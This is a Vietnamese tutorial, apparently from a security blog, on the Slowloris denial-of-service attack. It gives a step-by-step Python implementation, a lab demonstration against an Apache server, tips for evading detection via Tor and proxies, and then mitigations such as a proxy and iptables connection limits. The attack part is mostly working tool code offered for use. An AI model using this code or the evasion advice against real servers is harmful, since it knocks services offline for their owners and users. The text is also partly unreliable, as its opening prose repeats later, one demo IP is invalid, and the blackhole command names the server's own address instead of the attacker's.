DDoS - Slow Loris
SlowLoris được phát triển bởi Robert "RSnake" Hans Hansen - là phần mềm tấn công DDoS cho phép một máy tính duy nhất hạ gục máy chủ web. Do tính chất đơn giản của cuộc tấn công này, nó yêu cầu băng thông tối thiểu để thực hiện và chỉ ảnh hưởng đến máy chủ đích máy chủ web, mà hầu như không có tác dụng phụ trên các dịch vụ và cổng khác.
Slowloris hoạt động bằng cách mở nhiều kết nối đến máy chủ web được nhắm mục tiêu và giữ cho chúng mở càng lâu càng tốt. Nó thực hiện điều này bằng cách liên tục gửi các request HTTP và không cần phải chờ phản hồi từ máy chủ nhằm giữ kết nối tới máy chủ. Các máy chủ bị tấn công mở thêm nhiều kết nối, chờ đợi từng request được hoàn thành.
Những server dưới đây sẽ bị ảnh hưởng bởi kiểu tấn công này:
Để bắt đầu viết code, bạn chắc chắn đã cài đặt Python 3.7 (bạn cũng có thể sử dụng Python 2.7 nhưng có vài câu lệnh cần phải thay đổi cú pháp). Chúng ta tiến hành tạo file python mới với câu lệnh sau:
Điều đầu tiên chúng ta cần làm là giả danh một người dùng sử dụng trình duyệt giả. Python có hỗ trợ một thư viện tên là UserAgent - cho phép chúng ta tạo User Agent giả mạo khi gửi request lên server web. Chúng ta sử dụng chúng bằng đoạn code dưới đây:
Tiếp theo, chúng ta sẽ tiến hành thiết lập socket cho phép gửi các gói tin GET lên server với header giả như trên. Mình sẽ không giải thích các hàm mà socket sử dụng, các bạn có thể tham khảo bài viết này để hiểu rõ hơn về lập trình mạng trong Python.
Ở bước này, chúng ta tạo nhiều socket với hàm cài đặt ở trên và chúng ta thêm vào mảng sockets[].
Chúng ta sẽ bắt đầu kết nối với máy chủ với các socket đã tạo ở trên. Đối với các socket bị đóng, chúng ta sẽ tiến hành mở lại với một vòng lặp tạo socket cũng giống như ở bước 3. Đoạn code sẽ có dạng như sau:
Bây giờ, chúng ta sẽ tiến hành tấn công thử máy chủ web Apache bất kỳ. Khuyến khích các bạn tự tạo máy chủ web Apache bằng Linux với phần mềm giả lập máy ảo VMWare. Đối với bài viết này, địa chỉ máy chủ web Apache của mình là http://192.168.226.155. Mình sẽ tiến hành thử tấn công như sau:
Server Apache hiện tại đang trong trạng thái loading nên sẽ không thể kiểm tra các request. Chúng ta cần dừng tấn công và chuyển sang bên máy Linux và kiểm tra trang thái Server bằng cách gõ thanh địa chỉ trình duyệt như sau: http://192.168.226.155/server-status.
Chúng ta có thể thấy một loạt các request được gửi từ địa chỉ IP 192.168.226.156 và đó là địa chỉ IP của kẻ tấn công.
Để tránh phát hiện bởi admin của máy chủ web, tôi sẽ liệt kê các cách dưới đây để giúp cải thiện cách tấn công này:
Khi chúng ta đã xác định IP, hãy chặn nó trên máy chủ của chúng ta. Có nhiều cách để chặn IP như iptables, định tuyến, ... Ở đây, mình sẽ thêm IP này vào danh sách BlackHole (giống với blacklist). Cú pháp của câu lệnh như sau:
Khởi động lại máy chủ Apache của chúng ta để xóa tất cả các kết nối và chúng ta sẽ ổn cho đến khi kẻ tấn công thay đổi địa chỉ IP.
Để ngăn chặn Slowloris một cách hiệu quả, cách tốt nhất của chúng ta là kích hoạt một số loại proxy giữa máy client và server web Apache. Các công cụ như Varnish, Nginx hoặc HAProxy sẽ là lựa chọn hoàn hảo cho tình huống này. Thiết kế máy chủ của họ khác nhau và có thể xử lý nhiều kết nối hơn Apache.
Chúng ta còn có một cách khác là giới hạn lượt truy cập từ một địa chỉ IP tron bảng iptables. Để giới hạn kết nối tới port 80 từ một IP cụ thể, hãy sử dụng quy tắc iptables như sau:
Tùy chọn --connlimit-above 50 sẽ cho phép tối đa 50 kết nối. Còn tùy chọn --connlimit-mask 20 sẽ nhóm các địa chỉ IP sử dụng độ dài tiền tố là 20. Tức là mỗi IP từ cùng một mạng /20 phải tuân theo giới hạn cho phép 50 kết nối.
Mình đã giới thiệu với các bạn kiểu tấn công Slow Loris DDoS và hướng dẫn các bạn code công cụ này với ngôn ngữ Python. Ngoài ra, mình còn đưa ra các giải pháp để cải thiện kiểu tấn công này và các biện pháp để ngăn chặn nó.
Cách thức hoạt động
Slowloris hoạt động bằng cách mở nhiều kết nối đến máy chủ web được nhắm mục tiêu và giữ cho chúng mở càng lâu càng tốt. Nó thực hiện điều này bằng cách liên tục gửi các request HTTP và không cần phải chờ phản hồi từ máy chủ nhằm giữ kết nối tới máy chủ. Các máy chủ bị tấn công mở thêm nhiều kết nối, chờ đợi từng request được hoàn thành.
Những server dưới đây sẽ bị ảnh hưởng bởi kiểu tấn công này:
- Apache 1.x, 2.x
- dhttpd
- GoAhead WebServer
- WebSense "block pages" (unconfirmed)
- Trapeze Wireless Web Portal (unconfirmed)
- Verizon's MI424-WR FIOS Cable modem (unconfirmed)
- Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)
- BeeWare WAF (unconfirmed)
- Deny All WAF (unconfirmed)
Slow Loris với Python
Để bắt đầu viết code, bạn chắc chắn đã cài đặt Python 3.7 (bạn cũng có thể sử dụng Python 2.7 nhưng có vài câu lệnh cần phải thay đổi cú pháp). Chúng ta tiến hành tạo file python mới với câu lệnh sau:
touch slowloris.py
nano slowloris.py
Bước 1: Tạo header giả
Điều đầu tiên chúng ta cần làm là giả danh một người dùng sử dụng trình duyệt giả. Python có hỗ trợ một thư viện tên là UserAgent - cho phép chúng ta tạo User Agent giả mạo khi gửi request lên server web. Chúng ta sử dụng chúng bằng đoạn code dưới đây:
ua = UserAgent()
headers = [
"User-agent: {}".format(ua.random),
"Accept-language: en-US,en"
]
Bước 2: Cài đặt socket
Tiếp theo, chúng ta sẽ tiến hành thiết lập socket cho phép gửi các gói tin GET lên server với header giả như trên. Mình sẽ không giải thích các hàm mà socket sử dụng, các bạn có thể tham khảo bài viết này để hiểu rõ hơn về lập trình mạng trong Python.
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, port))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("UTF-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("UTF-8"))
return sock
Bước 3: Tạo nhiều socket
Ở bước này, chúng ta tạo nhiều socket với hàm cài đặt ở trên và chúng ta thêm vào mảng sockets[].
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
Bước 4: Tiến hành kết nối đến server
Chúng ta sẽ bắt đầu kết nối với máy chủ với các socket đã tạo ở trên. Đối với các socket bị đóng, chúng ta sẽ tiến hành mở lại với một vòng lặp tạo socket cũng giống như ở bước 3. Đoạn code sẽ có dạng như sau:
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
Bước 5: Tấn công máy chủ web Apache
Bây giờ, chúng ta sẽ tiến hành tấn công thử máy chủ web Apache bất kỳ. Khuyến khích các bạn tự tạo máy chủ web Apache bằng Linux với phần mềm giả lập máy ảo VMWare. Đối với bài viết này, địa chỉ máy chủ web Apache của mình là http://192.168.226.155. Mình sẽ tiến hành thử tấn công như sau:
Enter an IP Address: 192.168.266.155
Enter port: 80
Number of socket: 9999
Hình 01: Thực hiên tấn công SlowLoris |
Bước 6: Kiểm tra trạng thái Server Apache
Server Apache hiện tại đang trong trạng thái loading nên sẽ không thể kiểm tra các request. Chúng ta cần dừng tấn công và chuyển sang bên máy Linux và kiểm tra trang thái Server bằng cách gõ thanh địa chỉ trình duyệt như sau: http://192.168.226.155/server-status.
Hình 02: Trạng thái server Apache |
Chúng ta có thể thấy một loạt các request được gửi từ địa chỉ IP 192.168.226.156 và đó là địa chỉ IP của kẻ tấn công.
Downloads
Cải thiện SlowLoris
Để tránh phát hiện bởi admin của máy chủ web, tôi sẽ liệt kê các cách dưới đây để giúp cải thiện cách tấn công này:
- Sử dụng Tor để kết hợp DDoS (tham khảo bài viết này để biết thêm về Tor).
- Sử dụng Proxy
- _D_DoS
- Configurable (user agent, etc…)
- More payloads
Ngăn chặn SlowLoris
Chặn IP
Khi chúng ta đã xác định IP, hãy chặn nó trên máy chủ của chúng ta. Có nhiều cách để chặn IP như iptables, định tuyến, ... Ở đây, mình sẽ thêm IP này vào danh sách BlackHole (giống với blacklist). Cú pháp của câu lệnh như sau:
ip route add blackhole 192.168.226.155
Khởi động lại máy chủ Apache của chúng ta để xóa tất cả các kết nối và chúng ta sẽ ổn cho đến khi kẻ tấn công thay đổi địa chỉ IP.
service httpd restart
systemctl restart httpd
Sử dụng Proxy
Để ngăn chặn Slowloris một cách hiệu quả, cách tốt nhất của chúng ta là kích hoạt một số loại proxy giữa máy client và server web Apache. Các công cụ như Varnish, Nginx hoặc HAProxy sẽ là lựa chọn hoàn hảo cho tình huống này. Thiết kế máy chủ của họ khác nhau và có thể xử lý nhiều kết nối hơn Apache.
Giới hạn truy cập
Chúng ta còn có một cách khác là giới hạn lượt truy cập từ một địa chỉ IP tron bảng iptables. Để giới hạn kết nối tới port 80 từ một IP cụ thể, hãy sử dụng quy tắc iptables như sau:
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 --connlimit-mask 20 -j DROP
Tùy chọn --connlimit-above 50 sẽ cho phép tối đa 50 kết nối. Còn tùy chọn --connlimit-mask 20 sẽ nhóm các địa chỉ IP sử dụng độ dài tiền tố là 20. Tức là mỗi IP từ cùng một mạng /20 phải tuân theo giới hạn cho phép 50 kết nối.
Tóm tắt
Mình đã giới thiệu với các bạn kiểu tấn công Slow Loris DDoS và hướng dẫn các bạn code công cụ này với ngôn ngữ Python. Ngoài ra, mình còn đưa ra các giải pháp để cải thiện kiểu tấn công này và các biện pháp để ngăn chặn nó.